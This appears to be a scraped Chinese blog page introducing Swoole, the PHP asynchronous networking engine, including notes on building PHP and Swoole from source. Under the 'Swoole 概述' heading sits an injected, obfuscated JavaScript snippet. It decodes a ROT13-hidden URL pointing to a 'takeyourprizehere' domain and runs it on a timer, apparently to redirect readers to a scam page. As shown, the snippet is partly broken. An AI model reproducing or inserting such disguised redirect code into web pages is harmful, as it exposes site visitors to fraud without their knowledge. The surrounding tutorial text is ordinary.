Swoole-TCP

rx online 第一部分 TCP SERVER 实现思路:   <?php /** * Created by bingxiong. * Date: 4/15/18 * Time: 12:05 AM * Description: TCP-SERVER */ //创建Server对象,监听 127.0.0.1:9501端口 $se…

Swoole 概述

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
概述

Swoole是PHP的异步、并行、高性能网络通信引擎,使用纯C语言编写,提供了PHP语言的异步多线程服务器,异步TCP/UDP网络客户端,异步MySQL,异步Redis,数据库连接池,AsyncTask,消息队列,毫秒定时器,异步文件读写,异步DNS查询。 Swoole内置了Http/WebSocket服务器端/客户端、Http2.0服务器端/客户端。

Swoole底层内置了异步非阻塞、多线程的网络IO服务器。PHP程序员仅需处理事件回调即可,无需关心底层。与Nginx/Tornado/Node.js等全异步的框架不同,Swoole既支持全异步,也支持同步。

除了异步IO的支持之外,Swoole为PHP多进程的模式设计了多个并发数据结构和IPC通信机制,可以大大简化多进程并发编程的工作。其中包括了并发原子计数器,并发HashTable,Channel,Lock,进程间通信IPC等丰富的功能特性。

Swoole从2.0版本开始支持了内置协程,可以使用完全同步的代码实现异步程序。PHP代码无需额外增加任何关键词,底层自动进行协程调度,实现异步。

Swoole可以广泛应用于互联网、移动通信、企业软件、网络游戏、物联网、车联网、智能家庭等领域。 使用PHP+Swoole作为网络通信框架,可以使企业IT研发团队的效率大大提升,更加专注于开发创新产品。

 

定义:

PHP异步网络通信引擎
是通过C编写的文件,最终编译为so文件作为PHP的扩展提供给php使用。

准备工作:

linux环境下开发
PHP7 swoole2.1 redis
源码安装php7 源码安装swoole

PHP源码安装:

这里需要申明的是,开发环境一般使用的是集成环境,但是生产环境一定是使用php的源码进行安装的。

下载,直接从官网的download的
解压
configure
make
make install

源码安装的一些坑:

编译源码必须要先安装gcc或者autoconfig
安装好的文件夹里面是没有php.ini的,需要从原始解压的目录拷贝到lib目录中(注意不是etc目录!!!),然后mv改下名字成php.ini就可以了(如果要放在etc下面需要编译的时候设置),之所以在lib的原因如下:

源码安装swoole

步骤和源码安装php差不多,但是有一些不同的是swoole在git是clone下来了之后,是没有configure文件的,我们需要使用bin/phpize工具进行安装,phpize是用于安装php扩展(外挂模块)的工具。

然后就出现了configure文件。